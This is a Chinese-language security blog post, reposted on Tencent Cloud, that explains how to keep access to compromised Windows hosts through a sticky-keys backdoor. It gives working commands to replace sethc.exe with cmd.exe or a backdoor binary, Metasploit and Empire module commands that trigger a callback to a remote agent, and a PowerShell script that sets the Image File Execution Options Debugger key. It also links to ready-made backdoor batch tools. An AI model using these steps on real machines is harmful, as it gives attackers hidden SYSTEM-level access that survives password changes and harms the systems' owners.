前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
社区首页 >专栏 >粘滞键项权限维持

粘滞键项权限维持

作者头像
Al1ex
发布于 2021-07-21 08:19:00
发布于 2021-07-21 08:19:00
1.3K00
代码可运行
举报
文章被收录于专栏:网络安全攻防网络安全攻防
运行总次数:0
代码可运行

粘滞键项

在window Vista以上的操作系统中,修改sethc会提示需要trustedinstaller权限,trustedinstaller是一个安全机制,即系统的最高权限,权限比administrator管理员高,windows权限分为三种从低到高依次是user,administrator,system,而trustedinstaller比 administrator高但没有system高,这么做的好处是避免了一些恶意软件修改系统文件的可能,坏处就是自己不能直接操作了:

所以在这里要先修改sethc权限,将其所有者改为改为我们当前管理员用户,sethc右键属性—>安全—>高级—>更改权限处,切换到所有者选项卡,更改所有者,具体如下图所示:

在该所有者之前,直接编辑其权限都是灰色的,不能修改,有了所有权之后,便可以编辑其权限,这里需要给予自己权限,如下图:

之后在window下执行以下命令:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
cd c:\windows\system32
move sethc.exe sethc.exe.bak   //备份sethc.exe
copy cmd.exe sethc.exe      //复制cmd.exe重命名为sethc.exe,也可以使用恶意后门文件来替代sethc.exe

之后连续按下5次"Shift"键,之后将弹出命令执行窗口,可以直接以System权限执行系统命令、创建管理员用户、登录服务等

同时,当我们在权限维持时,如果留下了粘滞键后门,当用户修改密码后,我们在远程连接时可能会出现无法登录的情况,这时候上面这种后门进行权限维持就比较有用了:

第一种:创建cmd.exe粘滞键,之后在登录界面按下5次shift调用cmd来添加用户,之后再次登录:

第二种:使用后门文件shell.exe来替换sethc.exe文件,之后远程时直接五次shift上线即可~

Metasploit

Metasploit框架提供了一个后渗透测试利用模块,该模块可用于自动化粘性键的持久性技术,该模块将用CMD替换所选的辅助功能二进制文件(sethc,osk,disp,utilman)。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
use post/windows/manage/sticky_keys
set SESSION 8
exploit

之后在目标主机中连续五次shift即可执行SYSTEM权限的命令行,这在RDP远程登录用户密码已被修改的情况下很有用~

Empire框架

Empire中提供了粘滞键权限维持的模块,在使用时可以通过shift粘滞键来触发远程代理后门到empire中

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
(Empire: ECY9D6XK) > usemodule lateral_movement/invoke_wmi_debugger
(Empire: powershell/lateral_movement/invoke_wmi_debugger) > info
(Empire: powershell/lateral_movement/invoke_wmi_debugger) > set Listener SimpleTest
(Empire: powershell/lateral_movement/invoke_wmi_debugger) > set TargetBinary sethc.exe
(Empire: powershell/lateral_movement/invoke_wmi_debugger) > set ComputerName WIN7-Test
(Empire: powershell/lateral_movement/invoke_wmi_debugger) > execute

#注意这里可以将sethc.exe替换为Utilman.exe(快捷键为: Win + U)或者osk.exe(屏幕上的键盘Win + U启动再选择)
Narrator.exe (启动讲述人Win + U启动再选择) Magnify.exe(放大镜Win + U启动再选择)

之后在目标主机上按5次shift即可触发后门代理(中间会有一个弹窗迅速闪过,用于执行命令,笔者也未捕获到)

之后在empire中成功反弹后门代理:

Powershell

粘性键持久性技术是众所周知的,一些攻击者者在网络攻击期间也常常使用它,除了上述的Metasploit和Empire之外,我们还可以使用脚本来自动执行此方法,Preston Thornburg编写了以下PowerShell脚本,该脚本可以通过修改注册表来实现持久性

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
$registryPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\" 
$keyName = "sethc.exe" 
$stringName = "Debugger" 
$binaryValue = "C:\Windows\System32\cmd.exe"
IF (Test-Path ($registryPath + $keyName)) 
{
     # Sticky Keys backdoor exists.    
     write-host "Registry key found. Let's remove it."    
     #New-Item -Path $registryPath -Name $keyName | Out-Null    
     Remove-Item -Path ($registryPath + $keyName) | Out-Null    
     write-host "Sticky Key backdoor has been removed."    
}
ELSE
{    
     # Sticky Keys backdoor does not exist, let's add it.    
     write-host "Registry key not found. Attempting to add Sticky Keys backdoor to registry."    
     New-Item -Path $registryPath -Name $keyName | Out-Null    
     New-ItemProperty -Path ($registryPath + $keyName) -Name $stringName -Value $binaryValue | Out-Null     
     write-host "Sticky Keys backdoor added."     
}

之后执行五次"shift"按键,可以成功弹出命令行界面:

批处理文件1

我们也可以通过批处理文件logon_backdoor(https://github.com/szymon1118/logon_backdoor )来实现,上传backdoor.bat文件到目标主机,之后运行批处理文件,根据提示添加粘滞键后门:

选项1将修改“ Debugger ”键,以包括命令提示符的路径:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe

之后五次shift,成功执行cmd:

批处理文件2

与批处理文件1方式类似,Sticky-Keys项目(https://github.com/HanKooR/Sticky-Keys )提供了一个额外的选项,把系统控制台给用户,该工具的使用较为简单,下载批处理文件之后下目标主机执行即可

虽然执行时可能会有一些小错误,但是执行结果没有任何问题,我们可以按下5次shift来调用命令行:

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-07-13,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 七芒星实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验